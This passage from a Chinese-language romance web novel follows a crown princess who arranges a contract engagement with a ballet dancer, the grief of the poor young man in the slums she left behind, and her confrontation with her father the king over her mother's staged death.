江意衡扬起一侧唇角,目光却没什么笑意,“因为,帝国最出名的芭蕾舞男演员,是个记仇的人?” “您想多了,这件事,不在我的掌控内。” 言均和取出浸有卸妆液的化妆棉片,对着镜子轻按眼部,“想必您能看出,这是一场很受欢迎的表演。观众反响远超预期,舞团为此临时增加了演出场次。” 江意衡想起她中场赶到时,满场座无虚席的盛况。 而那位拿着三倍票价赔偿、让出位置的观众,在离场前还一副恋恋不舍模样。 “被大众喜爱确实不错。不过我好奇,成为舞团的男首席,是一种什么样的感觉?” 她伸出两根手指,沿着桌边敲了敲:“明知你已经做到了男舞者的翘楚,但大众永远只会更关注女首席。 “她得到的捧花永远比你多,评论家的点评也总是围绕她,这里超过七成的人都是来看她的。 “明明付出的努力不比他人少,却为他人做嫁衣,你都不会觉得不公平吗?” “至少我在做的,是我喜欢的事情。” 言均和抬眼望着镜中映出的人影,“殿下呢?” “你当然会喜欢。在舞台上每一次跳跃,就像摆脱地心引力一样,那么多人在台下喝彩,会让你的灵魂都飘摇着原地蒸发。” 江意衡抱起双臂,“不过,做你喜欢的事情,真的能让你自由吗?” 言均和沉眉,分明是被戳中心事:“殿下是指什么?” 江意衡别过脸笑道:“这个,你该比我清楚。言总理那么希望你嫁入王室,想来,不会允许你继续发展你的芭蕾事业。” 再看着他时,她已经收起脸上笑意:“听说你的芭蕾是在留学期间学成的,那里有更适合艺术的舞台,可你却急匆匆归国发展,言总理恐怕‘功不可没’呢。 “他虽然允许你发展事业,但不允许你离开帝国边境。你应该就是因为这样,才被迫在两年前,拒绝了你梦寐以求的海外舞团吧。” 言均和正用卸妆棉拂过唇周,棉片瞬间染上陈血般的红棕,暴露出他原本淡到几乎泛青的唇色:“殿下难道是打算,破例为我谋一条退路?” “我当然也有我的条件。” 江意衡取出一卷文件,摆到他面前,“这份协议列举了你需要陪伴我出席的场合,你未来作为王室眷属的其他义务,也会保障你的权益。请你务必一一过目。” 言均和俯眼翻看面前这份联姻协议书,嘴角浮起不可置信的笑意。 文件不但条款详实,附赠资产也逐一列明,字里行间透着不加掩饰的阔绰。 “难怪我父亲总想着促成这桩婚事。”他抬眸,眼里带着几分揶揄,“殿下还真是个大方的人。 他微顿,又似笑非笑地问:“您现在,是打算跳过相亲步骤,直接进入官宣阶段?” 江意衡勾起唇角:“你也不是个拖泥带水的人,何必浪费彼此的时间走那些流程。” “真是令人感动。” 言均和垂眸片刻,指尖在纸面上按出一道浅痕,最终只是轻笑,“连我官宣的时候要穿什么,都有人替我安排好了。 江意衡缓缓踱步,鞋跟落在地上敲出不紧不慢的节奏,宛如某种鼓点。 “你会得到王室眷属应有的资源、地位以及舆论关注。作为交换,我只需要你在人前扮演好你的角色。” “一个听话的附属品?” “一个具有契约精神的合作伙伴。”江意衡笑着回望他,“你想要自由,而我恰好能提供这一点。” 她定了定睛,补充道:“在你完成王室义务的前提下,我不会阻止你未来继续发展你的芭蕾事业。” “听起来是很诱人。” 言均和终于起身,与她对峙,“不过您应该清楚,身为一个舞者,我不会为了任何事情断送事业。” 他着重道:“即便是王室需要子嗣。” 江意衡好像听到什么好笑的事情,忍不住掩面笑了两声:“你放心,我不喜欢小孩,也没打算要孩子。” 言均和垂下眼帘,语气不明:“难道,您一点也不担心帝国的王位继承?” 江意衡停下脚步。 她斜眸看他,唇角带笑,眼里映着化妆镜上白亮如昼的灯光,却没有温度。 “我还活着呢。现在担心子嗣的事,你不觉得,对我太早了一点?” * 阳光晃得人睁不开眼。 简星沉从垃圾场回来的路上,被地上的暗坑颠下了车。 不止外套在地上磨出一个大洞,连蓝毛衣也在手肘处破开。 他明明已经很小心,他明明不想这样。 可他的这点愧疚感,并不能把洞补上。 家里只有一些颜色朴素的棉线,补在毛衣上只会让破洞变得更显眼。 他想了想,直接掉转车头,找张念春想办法。 “我可跟你说了,小简。” 张念春一手揣着他递来的十块钱纸币,一手拎着他的蓝毛衣看了会,有些为难,“就算补了,也达不到原来的效果。” “我可以再加钱的。” 简星沉又掏出一张皱巴巴的十块钱递去,“拜托了,张婶,我真的不想看到衣服才穿三星期就破洞。您能不能帮我想想办法,帮我补得跟之前差不多?” “小简,不是我说你,这又不是钱的问题。你再给多少钱,我也没法补到跟原来一样啊。” 张念春都快被他念叨烦了,把衣服连着两张十块钱塞回他手里,“衣服也才四十五一件,你要真这么宝贝它,怎么不重新买一件呢?” 简星沉微微一怔。 他低下头,破皮的手指无意识地摩挲着沾了泥的袖口:“可只有这件,才是她给我挑的。其他的,都不是她亲手挑的。” 张念春扁了扁嘴,没说话,只是继续用那种一言难尽的神情看着他。 简星沉以为她做生意忙,一下子没想起江意衡是谁,就比划着解释:“我说的,是三个星期前跟我一起来的女孩。她特地来这里帮我挑的新衣服。” “哪个?” 张念春的手一顿,随即却若无其事地拎起一件衣服,拍去棉絮。 “就是那个,比我高、很英气的女孩子。” 张念春目光闪了闪,冲他摆手:“没见过。这一带是什么地方,你自己还没数?哪有你说的那种人。” 张婶对见过的客人几乎过目不忘,今天却有点反常。 简星沉记得很清楚,那天她还夸江意衡“个头高”、“出挑”。 他也不知道哪里出了问题,试着补充:“您肯定记得。她不止帮我买了毛衣和衬衫,还买了床单……” “行了行了,要做梦你回家做去,别跟我扯淡。” 张念春不耐烦地挥手赶人,连看都不看他,“你要是不打算买新衣服,那就自己想办法对付着穿吧。” 简星沉愣在原地。 他不知道自己哪里惹到了张婶,说不委屈是假的。 但如果他是张念春,应该也不会想看到,老顾客拿着一件旧衣服来烦自己吧。 他默默转身,蹬着三轮车远去。 张念春这才停下手里的动作,抬头望去。 少年虽然裹着厚厚的棉衣,微弯的背影却仍是肉眼可见的削瘦。 她伸出手,想对他嘱咐两句,却什么也没喊出口,只摇头叹了口气。 简星沉回到家,一眼就看到他的小锅垫着抹布,孤零零地摆在桌上。 他不记得自己为什么把锅放在这里,刚一端起,一股酸味立刻扑鼻而来。 下一秒,脚下一响,有什么东西碎了。 是他三天前失手打碎饭碗留下的碎片。 那是他唯一的饭碗。 碗碎之后这几天,他都是直接端着锅吃饭。 可今天,他连锅里的也忘了。 简星沉扫起碎片丢进垃圾袋,忽然就不想开火热汤了。 去年夏天,他明明吃过更冷更馊的饭。 那时候鼻子不挑,胃也安分,哪像现在这么娇气。 他夹起一块猪肝,还没靠近嘴边,馊味就直冲鼻腔。 胃里一阵翻江倒海,他慌忙扑到水池边,弯着腰干呕起来。 简星沉扶着水池缓了好久,才靠墙蹲下,整个人缩成一团。 今天已经足够倒霉了。 捡来的废品少得可怜,风冷得像刀割,偏偏垃圾味格外刺鼻。 塑料的焦臭,金属的酸臭,还有木头的腐臭混在一起,像一锅发霉的烂汤,熏得他头疼。 捡了十几年废品,他第一次知道,垃圾竟然可以这么臭。 他蜷在床上,闭上眼睛。 可没睡多久,窗外就响起一阵刺耳的喇叭声。 “暖冬补助,人人有份,人人有份!” 简星沉还没来得及抬头看,一颗石头就“咚”地一声砸在窗户上。 墙上的钟才过去十分钟,他揉着眼起身,摸到门口。 一开门,就看到石彪站在外面。 “哟,这么早就回来了?” 小混混从上到下打量他,啧了啧嘴,“怎么,偷懒啦?小垃圾今天不捡垃圾了?” 简星沉在学校时向来脾气温吞,遇事忍让,很少与人正面冲突。 可跟江意衡相处之后,他慢慢变得不一样了。 他不想再窝囊下去。 至少,在石彪这种小混混面前,他要站得稳当。 简星沉开口就直接怼他:“三番四次来我家门口,你烦不烦?” “哟呵,还硬气了?” 石彪翻了个白眼,一拳就要抡过来。 简星沉却躲开了。 他一手扶墙,另一只手从地上抄起砖头,死死瞪着他,一副只要小混混敢上前,就会把砖头照脸糊过去的架势。 石彪反倒被逗乐了:“跟条没了主人就一个劲凶人的狗似的。怎么,她不在,你过得不好?” 简星沉没有冲动行事。 他举着砖头逼近一步,声音不大,咬字却很清楚:“也只有像你这样的,才总想靠着咬人来证明自己比别人厉害。” 石彪龇牙笑了一声:“小兔崽子,还学会呛人了,啊?” 简星沉一字一顿:“你要不怕就试试!” 石彪突然双手挡在身前,装模作样地弯腰示弱:“哎呦喂你来真的,老子不说了还不行吗!” 简星沉抓着砖头的手微微放松:“那你还不走?” “急什么,老子今天心情好,来这是想跟你分享点新鲜事。” 石彪歪着一张嘴,笑得贼兮兮,“老子前两天搭车进了趟城,城里就是不一样,楼有十多层高,还有漂亮的小汽车满街跑。” “我没兴趣。” 简星沉转身要走,又被石彪喊住。 “你不想知道,我从城里人那儿,都听说了什么吗?” 石彪终于切入正题,“我听说,帝国的王储,原来是个女人。生来就是王室成员,住在中心区那样的好地方,有自己的飞船,穿的是高定,拥有顶级王室Alpha的身份。啧,她可真是攒了八辈子福气。” 简星沉不语,只是偏过头,把指节握得更紧。 石彪别有用心地顿了一拍,忽然扭头看他:“你就不好奇,我为什么要特意跑来,跟你提这个?” 简星沉下意识地绷紧了肩背。 直觉告诉他,不该再听下去,可他的脚下好像生了根,怎么也挪不动。 “你不过就是想炫耀自己进了趟城,我不吃这套。” “可我觉得,你会的。” 石彪起身凑近,嘴巴缓缓张合,像毒蛇在吐信,“那个王储,她马上要娶别人了。” 第23章 你跟她,很熟吗? “你说这些,到底跟我有什么关系?” 简星沉抓着那块砖头,砖上结着一层薄冰,挨着他的掌心,冷得刺骨。 “是没关系啊,我说有关系了?” 石彪抖着肩,语气不善,“知道王储是什么意思吗?她以后是会坐上王位的!光是把她跟你这种穷小子放在一块讨论,都像是登月碰瓷。” 他似乎很高兴看到少年白着一张脸,不由咧开嘴,舌头又一次从断掉的半颗牙上滑过:“你该做的,是好好孝敬老子,和老子的牙!” 简星沉站在门口,手里始终握着那块结了冰的砖头,直到浑身都僵成一块砖。 王储是王储,江意衡是江意衡。 石彪故意说得模棱两可,无非是想拿些小道消息刺激他,看他笑话。 他明明很清楚,小混混嘴里吐出的话,就像跑火车一样不靠谱。 石彪会这样说,一定是还记恨之前被江意衡打倒在地的事情。 如果他轻信了石彪的话,而影响到自己对江意衡的信任,那才是正中这个小混混的下怀。 他要相信自己,也要相信江意衡。 世界上有那么多相似的人,石彪又没亲眼见过远在中心区的帝国王储。 从街上听来的话,又怎么能当真。 简星沉回到屋里,昏昏沉沉睡了一觉。 他又梦到了那个,还没来得及给江意衡说完的故事。 梦里飘着雪,蓝眼睛的女孩蹲在火堆边烤手。 可是,她睫毛上的雪花迟迟没有融化。 那只白白胖胖的小海雀扑着翅膀落在她脚边,用脑袋蹭了蹭她的指尖:“你怎么啦?今天还是不开心吗?” “我得回去了。” 女孩望着雪夜长叹一声,“冰雪女王回来了,她要用整座宫殿困住我,说什么都不肯放我走。” “那你什么时候还能来找我?”小海雀急得蹦到她的膝盖上。 女孩弯了弯眼睛:“我们拉个勾吧?你每天清晨飞过我的窗前,如果我能溜出来找你,就在窗台上放一颗松子。” “好!”小海雀开心地转了个圈,“我一定会来,我每天都来,比钟表还准时,比北风更快!” 于是,在雪落下的每一个早晨,小海雀都去那座冰雪宫殿的小窗看一眼。 第一天没有,第二天也没有。 第三天,它在窗台上等了很久,冻得打起哆嗦,也没等到松子。 可是小海雀没有放弃。 它每天都来,像钟表一样准时,像北风一样快。 终于,在一个雪停下的早晨,它终于看到了那颗松子,就静静躺在窗边,是它等待已久的邀请。 小海雀高兴坏了,用喙尖轻轻敲了敲水晶般透明的窗。 窗户应声打开一条缝。 它钻进去,在屋里飞了一圈,找啊找,却没看到那个蓝眼睛的女孩。 屋里摆着冰雪雕成的桌椅,冰雪凝成的镜子。 它叼着那颗松子从镜子前飞过,镜中却映出一张模糊而遥远的脸。 那是个同样拥有蓝眼睛的人,头发却白得像雪,身上穿着缀满冰晶的礼服,走路时发出清脆的响声。 “你来了?”她说。 小海雀在半空中扑腾着翅膀,慌忙掉头:“你不是她!你不是我在等的人!你是谁?” 镜中的女子站在原地,逐渐清晰的面容像冰雪一样,没有温度。 梦境到此戛然为止。 简星沉睁开眼时,不止肚子隐隐作痛,脑袋也是。 他用力喘了两口气,心里堵得好像堆满了雪。 没有比这更可怕的梦了。 这故事明明是他自己编的,就像每一个童话那样,理应有一个快乐的结局。 女孩当然会留下松子,会把窗户开得很大,会伸出双手拢住那只圆鼓鼓的小海雀,会温柔地说:“谢谢你,一直在等我。” 但在梦的结尾,女孩没有来。 出现的那个人,是冰雪女王。 简星沉望着光秃秃的天花板,心口仿佛被挖空了一块。 他不知道,自己什么时候才能等到她。 他也怕自己等来的,不是他想等的人。 一想到江意衡,他不由又有些难过。 她离开前,从没说过是为了什么回去。 他全心全意地相信她,可她离开这么久,连一封信都没有。 万一她真的遇到了什么事,那等在原地的他,又像什么呢? 这念头迅速在他脑海里扎根。 他愈发不安,连心口和小腹都跟着一起抽痛。 已经整整三个星期没见到江意衡了。 他并不介意在贫民窟继续等待下去,但他只要想到她还在外面的某个地方,近况不明,他就无法再保持平静。 他想要确定她平安,无论她在哪里,无论她是什么人。 可她走时,几乎没留下任何能切实证明她来过的东西。 除了那一样。 简星沉翻箱倒柜,终于在一个小罐子里找到了那枚古铜色纽扣,还是江意衡当初落下的。 上面的花纹如此精细,花与鸟交织,还藏着他看不懂的符号。 他知道纽扣并不算是什么稀罕东西,但攥住了这枚纽扣,他才好像能攥住一点原本属于她的部分。 次日一早,天还没亮,简星沉就起了床。 他揣了一把零钱,几块压缩饼干,还有一个早就剥了漆、底部凹进去一块的保温杯。 从家到地方办事处,单程就要骑车三小时。 他担心去晚了要排长队,所以早上五点多就出门,只为赶在办事处八点半开门前,能占个前排位置。 少年骑过结冰的土路,碎裂的水泥路,再是撒了粗盐的沥青路。 风贴着他汗湿的衣服钻进来,冻得他浑身激灵,腹部一阵阵发紧。 朝阳从远处升起,像颗巨大的咸鸭蛋黄,在冰天雪地的清晨,烧成一团温暖的火焰。 越是接近目的地,他就越是反常地亢奋。 仿佛只要再快一点,他就能见到她。 路上没再下雪,车也不多。 简星沉比预想中早到了半小时。 只有两个人排在他前面,一个来办喜事,一个来办丧事。 他是第三个,被直接分流到第三窗口。 接待员是位男士,年纪比他大不了多少。 看到他来,头也不抬道:“办什么的?” 简星沉交握双手,笑得微微局促:“我来,找人的。” “找人?” 接待员揉了揉太阳穴,“您是指人口失踪吗?我们这里不处理这种事情,您得去隔壁的本地安全署报案。” “不用报案。” 简星沉慌忙挥动双手,又犹豫道,“我只是,有一段时间没有她的消息了。” 接待员一只手已经按在座机听筒上,面露迟疑:“您确定不需要考虑报警?” 简星沉咬着唇:“我只想确保她平安。” 接待员叹了口气,抬头朝前挥手:“方警官,能麻烦您过来一下吗?” 方唯停住脚步,转身望着接待员。 接待员指了指简星沉:“这位先生说要找人,但不是失踪案件。我听着像是你们安全署会管的事情,您方便跟他聊聊吗?” 方唯皱着眉,走到窗口前,打量了一眼简星沉,目光落在他握紧的那只手上:“找人?找什么人?” 简星沉一抬头,就对上方唯锋利的目光,有些迟疑地展开手掌,递出那枚纽扣:“这是她的东西。我只想知道,她现在是不是一切都好。” 方唯接过纽扣,原本漫不经心的表情瞬间变了。 他低下头,把纽扣举到光下细看,指腹摩挲着古铜材质表面的纹理。 当他看清花纹里藏着的王室纹章,神色随之一沉。 但他并未出声,只是将纽扣还给少年,语气变得和气:“您能详细说说,对方和您是什么关系吗?” 简星沉微微不安地捏着手指:“她之前住在我家……后来她走了,一直没消息。” 他犹豫着看了接待员一眼,没敢多说什么。 方唯看出简星沉欲言又止,沉默片刻,目光再次落在那颗纽扣上。 他早就收到指示,不能透露王储殿下在F区期间的任何行踪。 可眼前的少年形容质朴,语气温吞,一看就不是会闹事的类型。 只是,少年捧着那枚纽扣的模样,执拗得让人有点头疼。 前来办手续的人不知不觉多了起来。 方唯看了接待员一眼,低声道:“我先带他去会议室仔细聊一聊。” 简星沉刚跟着方唯进了会议室,后者就关上了透明的玻璃门。 “我需要确认几件事。” 方唯在他对面坐下,十指交叉,语气平静,“首先,您是从哪里得到这枚纽扣的?” 简星沉不自觉地攥紧了纽扣,小声说:“是她身上掉下来的。那时候她身体没好,我就收起来了……我没打算故意藏着。” 方唯目光微闪。 稍作思索后,他又开口,语气冷了一分:“您误会了,我并不是在指责您有盗窃的嫌疑。这只是一枚纽扣而已,没什么特别的。如果失主自己都没打算向您讨回,您也没必要挂在心上。” 那语气,仿佛这枚纽扣只是一件可有可无的东西。 简星沉的呼吸顿了一拍,抬起眼时,神色慌乱:“可她说过她会回来的,我相信她会回来的。” “先生,我能理解您的心情。” 方唯眉心微蹙,“她有承诺过您,会在什么时候回来吗?这期间,她有给您寄过信吗?您知道,她家在哪里吗?” 简星沉垂下目光。 许久后,才开口:“她说她叫江意衡。其他的,我也不太清楚。” “江意衡。” 方唯重复了一遍这个名字,像在确认什么。 简星沉还以为方唯知道了什么:“您听过这个名字吗?” “我接触的名字多了去了,偶尔觉得耳熟,也不能说明什么。” 方唯揉着眉心,轻轻摇头,“况且,我现在还无法确定,您所说的情况是否属实。您瞧,除了纽扣,您没有任何实质性的证据。这一切,都只是您的一面之词。” “我不明白您的意思。” 简星沉骤然坐直身体,声音惊慌,“我没有说谎,这真的是她的纽扣,她也确实住过我家,她还……” “先生。” 方唯打断他,语气更加冷淡,“您知道,每个人都有自己的选择。或许,您不应该再干涉别人的生活。” “我,我没想干涉。” 简星沉颤声否认,手指愈发用力地攥住纽扣,“我只是想听到,她平安无事的消息。” “如果她真的平安无事,那你还打算追问下去吗?你跟她,很熟吗?” 方唯注视着他,苦口婆心,“年轻人,未来的日子还久,你应该过好自己的生活。” 方唯并没有给出肯定或否定答复。 然而简星沉却觉得,这位安全署的方警官已经说了足够多。 他还怔在原地,方唯已经起身推开椅子,语气恢复礼貌生分:“我还有其他事情要忙。如果您还有疑问,可以直接去本地的安全署提交正式申请。” 简星沉张了张口,想说些什么。 可他发现,自己根本就不知道该如何反驳。 他下意识地抚摸着手里的纽扣,只觉得上面的花纹变得冰冷,像钝刀磨过指腹。 走出会议室,简星沉的脑子里仍是一团乱麻。 方唯的冷漠表现令他摸不着方向,他攥着手里的纽扣,仅存的信念开始动摇。 走出办事处大楼时,街上已是人来人往。 不远处,一个老人正拿着报纸自言自语。 “看来江意衡最近过得不错。前段时间那样,我还以为她出什么事了。” 他在说的人,是她? “请等一等!” 简星沉猛地追上去,气喘吁吁扶着膝盖的模样,差点吓了对方一跳,“请问,您认识她吗?” 老人低头打量着面前弯腰喘气的少年:“她?你说谁?” “就是,您刚才说的那个人。” 简星沉抬手为自己擦了把汗,“江意衡。” “江意衡?” 老先生端详他片刻,忽然笑了,“我怎么可能认识她呀。” 简星沉懵了:“那您为什么会提到她的名字?” “小伙子,你看。” 老人抬起手里的报纸,“这就是江意衡,帝国的王储殿下。” 简星沉垂下目光。 在散发出油墨气息的报纸上,他一眼看到今天的日期,而下面赫然是一排显眼的大字。 “特大喜讯:王储订婚!” 彩色照片占据了大半版面,画面中的女子身着黑色制服,神色淡漠。 简星沉不由自主止住了呼吸。 那张脸,他绝不会错认。 是她。 是江意衡。 第24章 只有懦弱的人才需要爱 简星沉曾无数次设想过,他再见到江意衡的情形。 唯独没想到,会在冰冷的报纸头条看到她。 他目光怔怔,许久无法从那张合照上移开视线。 照片上不只有江意衡,还有挽着她的男人。 人对美的感知是天生的。 就像江意衡第一次睁开眼看着他的时候,他的灵魂仿佛被她洞穿,心里从此烙下一道口子。 她于他而言,就是那种一击即中的存在。 而现在,站在她身旁的人气质高贵,眉眼清冷,哪怕是同为男子的他都自惭形秽,好像这个人生来就属于她的世界。 江意衡的身边没有他的位置。 从来都没有。 “一对璧人,不是吗?” 老人感慨,“意衡殿下和言小公子,一位是帝国最尊贵的王储,一位是帝国顶尖芭蕾舞者,他们能站在一起,堪称天作之合。王室引入这样优秀的血统,未来的继承人一定也了不得……” 身旁没有回应。 他回头时,少年已经转身走开,背影在寒风中格外萧瑟。 腊月的天气冷得让人难以忍受,简星沉却松着领口,赤着一双冻红的手,沿着街边徐徐步行。 风割过他手上布满裂口的皮肤,往他的衣服里面钻。 他却想不起为自己裹紧围巾,也想不起为自己戴上手套。 街上的人都在谈论王储订婚的消息,絮语围绕在他耳边浮浮沉沉,却没有一个人注意到他。 一对情侣骑着双人单车,笑着闹着从他身边经过。 街角的巨大灯牌正在闪烁,画面刚好切换到王储订婚的新闻。 简星沉终于停下脚步,在灯牌前伫立,恍惚地望着她。 他明明那么想要知道她的消息。 无论她在哪里,无论她从何而来、又去往何处,只要她平安,他就应该心满意足。 可他没想过,再听到她的消息,是她以王储的身份,和另一个贵族订婚。 他早就清楚,自己这样的人,根本不该奢望那样的人停留。 可他还是忍不住想问,她有没有哪怕一刻,是真的愿意留下。 灯牌发着热,闪动的屏幕上,江意衡仿佛在对他微笑。 她近在眼前,他却感觉自己坠入冰窟,不断下沉,直到心底冻结。 那枚纽扣仍攥在他的手心,棱角硌得他生疼,却抵不过他心口更疼。 简星沉不知道自己在城里漫无目的地走了多久。 天黑之后,清洁工人提着扫帚在昏暗的路灯下扫地,却发现长椅边蜷着一团东西,还会动。 “吓我一跳!你一个活人大晚上发什么疯,非要蹲在这啊?” 一张脸抬起,乌黑的眼珠蒙着水汽,眼角红得可怜。 少年抱着双膝,茫然看着他:“现在,几点了?” “十点!赶紧回去,别冻僵了!” 简星沉起身,腿却麻到几乎失去知觉,僵着步子愣是往前挪出几尺,眼前却是一片陌生街道。 他怔怔顿住脚步,想起三轮车还停在办事处门口。 照着清洁工人的指示,少年一瘸一拐地赶回去。 可他停车的地方,除了一个红白相间的锥形路障筒,什么也没有。 简星沉懵了。 三轮车是姥姥留给他的,车龄比他还大。 这么多年来,能修的地方都修过,能换的零件都换过。 他很仔细地给车保养,哪怕铁皮锈得几乎透风,他也坚持每两年给它刷一次漆。 在贫民窟,这辆车是他出行的保障。 即便它又老又破,连小偷也懒得光顾,可他每每从窗户看到它停在门口,就觉得自己还有底气。 更何况,这辆车还留存着他在阳光下,载着江意衡穿过雪地的记忆。 没想到,在这样艰难的一天,在这样寒冷的一天,他连最后这一点支撑都被抽走。 他明明锁了车,他不知道原来公家地盘上也有人会偷他的车,还把锁都一起带走,一下子急得抓着头发,不知所措地原地打转。 直到一声“哔哔”的车喇叭将他惊醒。 一辆小巧的电驱三轮代步车停在前方,摇下的车窗里探出一个脑袋。 “小简?你今天进城啦?” 是张念春。 简星沉本来就濒临崩溃,看到熟人瞬间,眼泪不争气地流下脸颊。 “张婶,”他泪眼朦胧,指着空荡荡的停车位,“我,我的车,被偷了。” “被偷了?不会吧,这可是地方办事处,从早到晚都有公职人员巡逻的。” 张念春匆忙下车,看了看旁边的立牌,拍着大腿叫他过去,“你瞧,这牌子上写着,工作日早八点到晚六点免费停车,上限两小时。” 见他一脸状况外,她又多解释了一句:“现在都快十点了,你是不是因为超时,才让大队的人把车拖走了?” “被拖走了?拖去哪儿?” 简星沉抹去眼泪,“我现在就去找他们。” “你这样走不到大队的。” 张念春叹了口气,朝他招手,“上车吧,我带你去。” 到地方大队,已是十一点半。 锈迹斑斑的铁门后,随意停着几辆三轮车,还有一辆报废的代步车。 简星沉一眼就认出自己的那辆。 它斜在角落,车轮上沾满积雪和泥巴,比早上出门的时候狼狈许多。 “我赎那辆绿的三轮车,”简星沉指着车,“要多少?” 值班的工作人员漫不经心地瞟了他一眼:“你这车要七十,少一分都不行。过了十二点,再加十五块。” 七十块,能抵他半个月的生活费。 简星沉掏出身上仅剩的四十块,手指攥得泛白。 “能便宜点吗?我身上,现在没那么多钱。” “我说你们,赎车的时候知道讨价还价了,停车的时候怎么就不看牌子呢?白天那家伙也让我给他便宜一点,我这可是按照规矩办事。” 张念春看不下去,挤到收费窗口前,拉着少年替他说情:“师傅,你就通融下,规矩是死的,人可是活的。这孩子从小就没娘没爹的,全靠姥姥拉扯长大。大冷天的,他还指着这车捡垃圾攒学费呢。” 她边说边把一张卷起的五十块塞进窗口:“都快过年了,你就看在他是第一次犯错的份上,给他打个折吧。” 工作人员哼了一声,拿过钱,摆摆手:“下次看清牌子再停车。念你是初犯,下不为例。” 车被拖走的时候,轮胎上刮了道口子,张念春嫌不安全,拿了根麻绳把它拴在代步车后面,载着少年一起往回开。 回去的一路上,简星沉把脑袋埋在胳膊里,肩膀一抽一抽。 虽然他已经有所克制,但车厢太小,抽泣声难以忽视。 张念春从后视镜里看着这一幕,想说什么,又怕戳他痛处,只好想办法安慰他。 “赎车的钱你不用还了,就当婶提前帮你包的压岁钱。” “你那蓝毛衣还没补吧?要不婶送你一件别的款式,你别老想着它了。” “你听说没?最近帝国上下都有福利,咱们这里减税啦,一来二去,等于今年没加税。这日子,应该能好过一点了。” 简星沉始终没说话,只是越哭越厉害。 他很清楚这些福利是怎么来的。 这都是因为江意衡订婚才有的。 代步车在崎岖的小道上开得磕磕碜碜,少年在后座哭个不停。 他不是个爱哭的人,哭解决不了任何问题。 可这一次,除了哭,他也不知道自己还能怎么办了。 人生十九年,他是第一次,不想回到那个家了。 * 江意衡回到王宫,一步未歇,径直踏上那道熟悉的白玉石旋梯。 腕上的光脑终端微微闪动,上面显示的是刚刚送达的加密文件。 她设置的关键词是“王室飞船事故报告”,而在过去二十年的数据中,系统提取出的报告有两份。 一份,是她月前飞往F区途中,飞船失控坠毁的事故。 另一份,则是二十年前,母亲出事那次。 两份加密文件横向对比,江意衡第一次发现,原来自己这次经历的事故,与当年母亲遭遇的意外,有如此惊人的重合。 母亲当年离开王宫前,名下飞船突发故障,不得已才临时换了备用飞船,结果在途中意外身故。 负责调查事故的官员,如今已是父亲麾下的直系心腹,深得重用。 而当年负责替母亲维护飞船的技师,正是继母黎书宛的远房亲戚。 此人曾因事故引发的舆论风波一度临近辞职,却由父亲一力保下,如今仍在王室担任飞船检修工作。 江意衡所驾驶的飞船,在坠毁前的最后一次保养,也出自同一人之手。 种种迹象表明,两起事故之间有千丝万缕的联系。 并且,这些线索都指向父亲。 江意衡手指一动,光屏跳到母亲那份报告的末页。 那是一道密令,由帝国君王亲自下达,盖有鲜红的国王印章,内容简短却致命。 “安青沅之死,对外统一通报为机械故障,终止一切调查,封存所有相关记录。” 江意衡收起光屏,转身踏入餐厅。 江御川正背对着她,一手慢条斯理地搅动着骨瓷杯中的金茶匙。 “你还是找来了。” 江意衡站定:“这只是时间问题而已,父亲。” 从母亲事故身亡到今天,已经过去了整整二十年零两个月又五天。 江御川未曾转身,只淡然道:“你与均和相处得还好吗?” “该完成的程序,媒体报道,合照公布……一切都很顺利。” 江意衡的声音毫无波澜。 “但这并不是你今日不请自来的理由。” 江御川放下茶匙,端起热气氤氲的茶杯。 江意衡轻轻将黑色投影模块放在桌上,不过是骰子大小的装置,却将十几页文件悬空投在她与江御川之间。 最后一页,密令与国王印章清晰可见。 她望着他的背影:“您为什么要那么做?” “你指什么?” 江御川一副置身事外的语气,“是我将你拉拢的大臣贬去D区,还是我督促你联姻,又或是,你那艘老式飞船失控坠毁的事情?” 父亲倒是很清楚,他为了立威,都做过什么样的事情。 但江意衡没有忘记自己此行的目的。 “我在问您,为什么要对母亲下杀手。” 这位帝国君王静默片刻,随即发出一声轻笑:“你比我预想中更早渗透了我的情报网。身为我的女儿,你做得很好。” 他的夸赞几乎带着某种毛骨悚然的意味。 “在这件事上,言家父子俩,应该也帮了你不少,对吧?你现在还觉得,这桩婚约于你,只是纯粹的累赘吗?” 江意衡没有接话。 她冷声重复:“为什么,父亲?” 江御川摇了摇头,甚至叹了口气:“我在你四岁时,就把你从E区接到王宫,提供最好的物质条件和教育资源,还把我从祖辈那里继承的一切,包括王室的责任与信念,全都传授给你。” 他说得轻描淡写:“你难道不明白,我有多么器重你?” “器重我?” 江意衡觉得好笑,“如果是这样,那为什么母亲去世后,您转身就迎娶了黎姨?您所谓的器重,就是让我从小失去母亲,生活在一个不完整的家庭里?” “书宛可没让你失去母亲,也没有对你的飞船动手脚。黎家的决策,与她无关。” 江御川抿了一口茶,“国王需要王后,这是大众期望。我总不能为了一个没有名分的逝者,就将王室威仪弃之不顾。” “如果母亲没死,您会娶她吗?” “别忘了她的身份,她只是一个来自E区的平民。” “父亲。” 江意衡轻嘲道,“您别忘了,我是母亲的女儿。没有她,就不会有我。” “但你身上,流着王室的血。” 江御川放下茶杯,一只手撑在桌上,“你的母亲并非贵族。除了留下你,她又能为帝国贡献什么?” 父亲明明没有动手,江意衡却觉得耳边嗡嗡作响。 她死死咬住牙关:“这就是您牺牲她的理由?母亲到底做错了什么?” 江御川低声笑了:“她什么也没做错,只是不够听话。如果她安心做一个不会引人注意的隐形人,她当然也可以活在我的庇佑下,一辈子衣食无忧。” 可母亲那样生性热爱自由的人,绝不会接受这种安排。 江意衡声音发抖:“那根本不是活着,而是软禁。” 她上前一步,撕开长久以来的幌子:“您对我的器重和培养,不过是控制。如果我当初没能分化成Alpha,您一样会毫不留情地抛弃我,就像您对母亲所做的那样!” 她呼吸急促,几乎在怒吼:“否则,您为什么要让黎姨生下昱澜?托您的福,飞船坠毁那天,我差点也和母亲一样死在天上,只差一点,就能在地下见到她了!” 江御川抬手覆上胸口,沉默片刻后,发出古怪沙哑的笑声。 “你见不到她的。” 这是江意衡所听过的,世上最恶毒的诅咒。 她的父亲竟然诅咒她,即便身故,也见不到最亲近的人。 “您害死那么爱您的人,为了自己的威仪,连亲生女儿都差点牺牲。您对我说什么爱说什么器重,我凭什么相信?” 她的语气冷了下来,“如果这也算爱,那我宁可不要。” “只有懦弱的人才需要爱。一个君王要什么爱,你不觉得可笑吗?” 江御川几乎把茶杯摔在桌上,“爱不过是一种奢侈的幻觉,它不能夺权,不能立威,更不能让你坐稳王位。如此软弱的东西,只会拖累你!” 江意衡缓缓合上双眼。 再睁开时,神色几近冻结。 “也许这是您选择的方式。可我知道,帝国的民众绝不希望看到,他们所拥护的国王,亲手摧毁了曾经的恋人。” “那又如何。”江御川语气淡漠。 